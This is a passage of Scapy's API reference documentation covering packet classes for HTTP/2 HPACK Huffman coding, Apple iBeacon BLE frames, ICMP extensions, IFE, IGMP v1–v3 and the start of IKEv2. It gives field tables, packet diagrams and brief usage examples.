(8388569, 23), (4194262, 22), (8388570, 23), (8388571, 23), (8388572, 23), (8388573, 23), (8388574, 23), (16777195, 24), (8388575, 23), (16777196, 24), (16777197, 24), (4194263, 22), (8388576, 23), (16777198, 24), (8388577, 23), (8388578, 23), (8388579, 23), (8388580, 23), (2097116, 21), (4194264, 22), (8388581, 23), (4194265, 22), (8388582, 23), (8388583, 23), (16777199, 24), (4194266, 22), (2097117, 21), (1048553, 20), (4194267, 22), (4194268, 22), (8388584, 23), (8388585, 23), (2097118, 21), (8388586, 23), (4194269, 22), (4194270, 22), (16777200, 24), (2097119, 21), (4194271, 22), (8388587, 23), (8388588, 23), (2097120, 21), (2097121, 21), (4194272, 22), (2097122, 21), (8388589, 23), (4194273, 22), (8388590, 23), (8388591, 23), (1048554, 20), (4194274, 22), (4194275, 22), (4194276, 22), (8388592, 23), (4194277, 22), (4194278, 22), (8388593, 23), (67108832, 26), (67108833, 26), (1048555, 20), (524273, 19), (4194279, 22), (8388594, 23), (4194280, 22), (33554412, 25), (67108834, 26), (67108835, 26), (67108836, 26), (134217694, 27), (134217695, 27), (67108837, 26), (16777201, 24), (33554413, 25), (524274, 19), (2097123, 21), (67108838, 26), (134217696, 27), (134217697, 27), (67108839, 26), (134217698, 27), (16777202, 24), (2097124, 21), (2097125, 21), (67108840, 26), (67108841, 26), (268435453, 28), (134217699, 27), (134217700, 27), (134217701, 27), (1048556, 20), (16777203, 24), (1048557, 20), (2097126, 21), (4194281, 22), (2097127, 21), (2097128, 21), (8388595, 23), (4194282, 22), (4194283, 22), (33554414, 25), (33554415, 25), (16777204, 24), (16777205, 24), (67108842, 26), (8388596, 23), (67108843, 26), (134217702, 27), (67108844, 26), (67108845, 26), (134217703, 27), (134217704, 27), (134217705, 27), (134217706, 27), (134217707, 27), (268435454, 28), (134217708, 27), (134217709, 27), (134217710, 27), (134217711, 27), (134217712, 27), (67108846, 26), (1073741823, 30)]

	




	
static_huffman_tree: HuffmanNode = None

	








	
class scapy.contrib.http2.HuffmanNode(left: None | HuffmanNode | EOS | str, right: None | HuffmanNode | EOS | str)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L686-L722]

	Bases: object

HuffmanNode is an entry of the binary tree used for encoding/decoding
HPack compressed HTTP/2 headers


	
left

	




	
right

	








	
exception scapy.contrib.http2.InvalidEncodingException[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L725-L728]

	Bases: Exception

InvalidEncodingException is raised when a supposedly huffman-encoded
string is decoded and a decoding error arises






	
class scapy.contrib.http2.UVarIntField(name: str, default: int, size: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L486-L552]

	Bases: AbstractUVarIntField


	
any2i(pkt: Packet | None, x: str | int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L531-L542]

	any2i is overloaded to restrict the acceptable x values (not None)


	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused.  # noqa: E501


	x (str|int) – the value to convert.






	Returns:

	int: the converted value.



	Raises:

	AssertionError










	
h2i(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L505-L516]

	h2i is overloaded to restrict the acceptable x values (not None)


	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused.  # noqa: E501


	x (int) – the value to convert.






	Returns:

	int: the converted value.



	Raises:

	AssertionError










	
i2h(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L518-L529]

	i2h is overloaded to restrict the acceptable x values (not None)


	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused.  # noqa: E501


	x (int) – the value to convert.






	Returns:

	int: the converted value.



	Raises:

	AssertionError










	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L544-L552]

	i2repr is overloaded to restrict the acceptable x values (not None)


	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused.  # noqa: E501


	x (int) – the value to convert.






	Returns:

	str: the converted value.
















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ibeacon

scapy.contrib.ibeacon - Apple iBeacon Bluetooth LE proximity beacons.

Packet format documentation can be found at at:


	https://en.wikipedia.org/wiki/IBeacon#Packet_Structure_Byte_Map (public)


	https://developer.apple.com/ibeacon/ (official, requires license)





	
class scapy.contrib.ibeacon.Apple_BLE_Frame(_pkt, /, *, plist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ibeacon.py#L69-L88]

	Bases: Packet, LowEnergyBeaconHelper

The wrapper for a BLE manufacturer-specific data advertisement from Apple
devices.

Each advertisement is composed of one or multiple submessages.

The length of this field comes from the EIR_Hdr.


	
aliastypes

	




	
build_eir()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ibeacon.py#L83-L88]

	Builds a list of EIR messages to wrap this frame.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PLIST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Apple_BLE_Frame                       


Apple_BLE_Frame fields






	plist

	PacketListField

	[]















	
class scapy.contrib.ibeacon.Apple_BLE_Submessage(_pkt, /, *, subtype=None, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ibeacon.py#L27-L66]

	Bases: Packet, LowEnergyBeaconHelper

A basic Apple submessage.


	
aliastypes

	




	
build_eir()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ibeacon.py#L64-L66]

	See Apple_BLE_Frame.build_eir.






	
build_frame()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ibeacon.py#L60-L62]

	Wraps this submessage in a Apple_BLE_Frame.






	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ibeacon.py#L51-L56]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SUBTYPE    |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. Apple_BLE_Submessage                     


Apple_BLE_Submessage fields






	subtype

	ByteEnumField

	None



	len

	LenField (Cond)

	None











	
payload_guess

	Possible sublayers:
IBeacon_Data










	
class scapy.contrib.ibeacon.IBeacon_Data(_pkt, /, *, uuid=None, major=None, minor=None, tx_power=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ibeacon.py#L91-L101]

	Bases: Packet

iBeacon broadcast data frame. Composed on top of an Apple_BLE_Submessage.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UUID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MAJOR             |             MINOR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TX POWER   |
+-+-+-+-+-+-+-+-+

                        Fig. IBeacon_Data                         


IBeacon_Data fields






	uuid

	UUIDField

	None



	major

	ShortField

	None



	minor

	ShortField

	None



	tx_power

	SignedByteField

	None

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.icmp_extensions


	
scapy.contrib.icmp_extensions.ICMPExtensionHeader[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L947-L988]

	alias of ICMPExtension_Header






	
scapy.contrib.icmp_extensions.ICMPExtensionInterfaceInformation[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L910-L944]

	alias of ICMPExtension_InterfaceInformation






	
scapy.contrib.icmp_extensions.ICMPExtensionMPLS[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mpls.py#L69-L77]

	alias of ICMPExtension_MPLS






	
scapy.contrib.icmp_extensions.ICMPExtensionObject[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L880-L907]

	alias of ICMPExtension_Object








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ife


IFE - ForCES Inter-FE LFB type


	author:

	Alexander Aring, aring@mojatatu.com



	description:

	This module provides Scapy layers for the IFE protocol.


	normative references:
	
	RFC 8013
Forwarding and Control Element Separation (ForCES)
Inter-FE Logical Functional Block (LFB)
https://tools.ietf.org/html/rfc8013














	
class scapy.contrib.ife.IFE(_pkt, /, *, mdlen=None, tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ife.py#L97-L107]

	Bases: Packet

Main IFE Packet Class


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MDLEN             |              TLVS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. IFE                             


IFE fields






	mdlen

	FieldLenField

	None



	tlvs

	PacketListField

	[]















	
class scapy.contrib.ife.IFETlv(_pkt, /, *, type=0, length=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ife.py#L60-L82]

	Bases: Packet

Parent Class interhit by all ForCES TLV structures


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ife.py#L81-L82]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VALUE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IFETlv                            


IFETlv fields






	type

	ShortEnumField

	0



	length

	FieldLenField

	None



	value

	MultipleTypeField (PadField, PadField, PadField)

	0















	
class scapy.contrib.ife.IFETlvStr(_pkt, /, *, type=0, length=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ife.py#L85-L94]

	Bases: IFETlv

A IFE TLV with variable payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IFETlvStr                          


IFETlvStr fields






	type

	ShortEnumField

	0



	length

	FieldLenField

	None



	value

	StrField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.igmp


	
class scapy.contrib.igmp.IGMP(_pkt, /, *, type=17, mrcode=20, chksum=None, gaddr='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmp.py#L23-L145]

	Bases: Packet

IGMP Message Class for v1 and v2.

This class is derived from class Packet. You  need call “igmpize()”
so the packet is transformed according the RFC when sent.
a=Ether(src=”00:01:02:03:04:05”)
b=IP(src=”1.2.3.4”)
c=IGMP(type=0x12, gaddr=”224.2.3.4”)
x = a/b/c
x[IGMP].igmpize()
sendp(a/b/c, iface=”en0”)



	Parameters:
	type    IGMP type field, 0x11, 0x12, 0x16 or 0x17
mrcode  Maximum Response time (zero for v1)
gaddr   Multicast Group Address 224.x.x.x/4








See RFC2236, Section 2. Introduction for definitions of proper
IGMPv2 message format   http://www.faqs.org/rfcs/rfc2236.html


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmp.py#L69-L77]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     MRCODE    |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. IGMP                             


IGMP fields






	type

	ByteEnumField

	17



	mrcode

	ByteField

	20



	chksum

	XShortField

	None



	gaddr

	IPField

	'0.0.0.0'











	
igmpize()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmp.py#L79-L138]

	Called to explicitly fixup the packet according to the IGMP RFC

The rules are:
- General:
1.  the Max Response time is meaningful only in Membership Queries and should be zero
- IP:
1. Send General Group Query to 224.0.0.1 (all systems)
2. Send Leave Group to 224.0.0.2 (all routers)
3a.Otherwise send the packet to the group address
3b.Send reports/joins to the group address
4. ttl = 1 (RFC 2236, section 2)
5. send the packet with the router alert IP option (RFC 2236, section 2)
- Ether:
1. Recalculate destination


	Returns:

	
	True    The tuple ether/ip/self passed all check and represents
	a proper IGMP packet.



	False   One of more validation checks failed and no fields
	were adjusted.











The function will examine the IGMP message to assure proper format.
Corrections will be attempted if possible. The IP header is then properly
adjusted to ensure correct formatting and assignment. The Ethernet header
is then adjusted to the proper IGMP packet format.






	
igmptypes = {17: 'Group Membership Query', 18: 'Version 1 - Membership Report', 22: 'Version 2 - Membership Report', 23: 'Leave Group'}

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmp.py#L140-L145]

	Display a summary of the IGMP object.






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmp.py#L55-L67]

	Called implicitly before a packet is sent to compute and place IGMP checksum.


	Parameters:

	
	class (self    The instantiation of an IGMP) – 


	order (p       The IGMP message in hex in network byte) – 


	message (pay     Additional payload for the IGMP) – 

















	
scapy.contrib.igmp.isValidMCAddr(ip)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmp.py#L17-L20]

	convert dotted quad string to long and check the first octet








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.igmpv3


	
class scapy.contrib.igmpv3.IGMPv3(_pkt, /, *, type=17, mrcode=20, chksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L30-L99]

	Bases: IGMP

IGMP Message Class for v3.

This class is derived from class Packet.
The fields defined below are a
direct interpretation of the v3 Membership Query Message.
Fields ‘type’  through ‘qqic’ are directly assignable.
For ‘numsrc’, do not assign a value.
Instead add to the ‘srcaddrs’ list to auto-set ‘numsrc’. To
assign values to ‘srcaddrs’, use the following methods:

c = IGMPv3()
c.srcaddrs = ['1.2.3.4', '5.6.7.8']
c.srcaddrs += ['192.168.10.24']





At this point, ‘c.numsrc’ is three (3)

‘chksum’ is automagically calculated before the packet is sent.

‘mrcode’ is also the Advertisement Interval field


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L92-L99]

	




	
encode_maxrespcode()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L63-L83]

	Encode and replace the mrcode value to its IGMPv3 encoded time value if needed,  # noqa: E501
as specified in rfc3376#section-4.1.1.

If value < 128, return the value specified. If >= 128, encode as a floating  # noqa: E501
point value. Value can be 0 - 31744.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     MRCODE    |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IGMPv3                            


IGMPv3 fields






	type

	ByteEnumField

	17



	mrcode

	ByteField

	20



	chksum

	XShortField

	None











	
igmpv3types = {17: 'Membership Query', 34: 'Version 3 Membership Report', 48: 'Multicast Router Advertisement', 49: 'Multicast Router Solicitation', 50: 'Multicast Router Termination'}

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L85-L90]

	Display a summary of the IGMPv3 object.






	
payload_guess

	Possible sublayers:
IGMPv3mq, IGMPv3mr, IGMPv3mra










	
class scapy.contrib.igmpv3.IGMPv3gr(_pkt, /, *, rtype=1, auxdlen=0, numsrc=None, maddr='0.0.0.0', srcaddrs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L115-L140]

	Bases: Packet

IGMP Group Record for IGMPv3 Membership Report

This class is derived from class Packet and should be added in the records
of an instantiation of class IGMPv3mr.


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L139-L140]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     RTYPE     |    AUXDLEN    |             NUMSRC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRCADDRS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IGMPv3gr                           


IGMPv3gr fields






	rtype

	ByteEnumField

	1



	auxdlen

	ByteField

	0



	numsrc

	FieldLenField

	None



	maddr

	IPField

	'0.0.0.0'



	srcaddrs

	FieldListField

	[]











	
igmpv3grtypes = {1: 'Mode Is Include', 2: 'Mode Is Exclude', 3: 'Change To Include Mode', 4: 'Change To Exclude Mode', 5: 'Allow New Sources', 6: 'Block Old Sources'}

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L135-L137]

	Display a summary of the IGMPv3 group record.










	
class scapy.contrib.igmpv3.IGMPv3mq(_pkt, /, *, gaddr='0.0.0.0', resv=0, s=0, qrv=0, qqic=0, numsrc=None, srcaddrs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L102-L112]

	Bases: Packet

IGMPv3 Membership Query.
Payload of IGMPv3 when type=0x11


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESV |S| QRV |      QQIC     |             NUMSRC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRCADDRS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IGMPv3mq                           


IGMPv3mq fields






	gaddr

	IPField

	'0.0.0.0'



	resv

	BitField  (4 bits)

	0



	s

	BitField  (1 bit)

	0



	qrv

	BitField  (3 bits)

	0



	qqic

	ByteField

	0



	numsrc

	FieldLenField

	None



	srcaddrs

	FieldListField

	[]















	
class scapy.contrib.igmpv3.IGMPv3mr(_pkt, /, *, res2=0, numgrp=None, records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L143-L149]

	Bases: Packet

IGMP Membership Report extension for IGMPv3.
Payload of IGMPv3 when type=0x22


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              RES2             |             NUMGRP            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RECORDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IGMPv3mr                           


IGMPv3mr fields






	res2

	XShortField

	0



	numgrp

	FieldLenField

	None



	records

	PacketListField

	[]















	
class scapy.contrib.igmpv3.IGMPv3mra(_pkt, /, *, qryIntvl=0, robust=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/igmpv3.py#L152-L157]

	Bases: Packet

IGMP Multicast Router Advertisement extension for IGMPv3.
Payload of IGMPv3 when type=0x30


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            QRYINTVL           |             ROBUST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IGMPv3mra                          


IGMPv3mra fields






	qryIntvl

	ShortField

	0



	robust

	ShortField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ikev2

Internet Key Exchange Protocol Version 2 (IKEv2), RFC 7296


	
class scapy.contrib.ikev2.ConfigurationAttribute(_pkt, /, *, type=1, length=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L827-L844]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L843-L844]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ConfigurationAttribute                    


ConfigurationAttribute fields






	type

	ShortEnumField

	1



	length

	FieldLenField

	None



	value

	MultipleTypeField (IPField, IP6Field, XStrLenField)

	b''















	
class scapy.contrib.ikev2.EncryptedTrafficSelector(_pkt, /, *, TS_type=9, IP_protocol_ID=None, length=16, res=0, starting_address_FC=0, res2=0, ending_address_FC=0, starting_R_CTL=0, ending_R_CTL=0, starting_type=0, ending_type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L666-L680]

	Bases: TrafficSelector


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TS TYPE    | IP PROTOCOL ID|             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      RES      |              STARTING ADDRESS FC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      RES2     |       ENDING ADDRESS FC       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | STARTING R CTL|  ENDING R CTL |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| STARTING TYPE |  ENDING TYPE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. EncryptedTrafficSelector                   


EncryptedTrafficSelector fields






	TS_type

	ByteEnumField

	9



	IP_protocol_ID

	ByteEnumField

	None



	length

	ShortField

	16



	res

	ByteField

	0



	starting_address_FC

	X3BytesField

	0



	res2

	ByteField

	0



	ending_address_FC

	X3BytesField

	0



	starting_R_CTL

	ByteField

	0



	ending_R_CTL

	ByteField

	0



	starting_type

	ByteField

	0



	ending_type

	ByteField

	0















	
class scapy.contrib.ikev2.IKEv2(_pkt, /, *, init_SPI=b'', resp_SPI=b'', next_payload=0, version=32, exch_type=0, flags=<Flag 0 ()>, id=0, length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L521-L552]

	Bases: _IKEv2_Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L542-L546]

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L534-L540]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INIT SPI                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESP SPI                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |    VERSION    |   EXCH TYPE   |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. IKEv2                            


IKEv2 fields






	init_SPI

	XStrFixedLenField

	b''



	resp_SPI

	XStrFixedLenField

	b''



	next_payload

	ByteEnumField

	0



	version

	XByteField

	32



	exch_type

	ByteEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	id

	IntField

	0



	length

	IntField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L548-L552]

	








	
class scapy.contrib.ikev2.IKEv2_AUTH(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, auth_type=None, res2=0, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L605-L611]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   AUTH TYPE   |                      RES2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IKEv2_AUTH                          


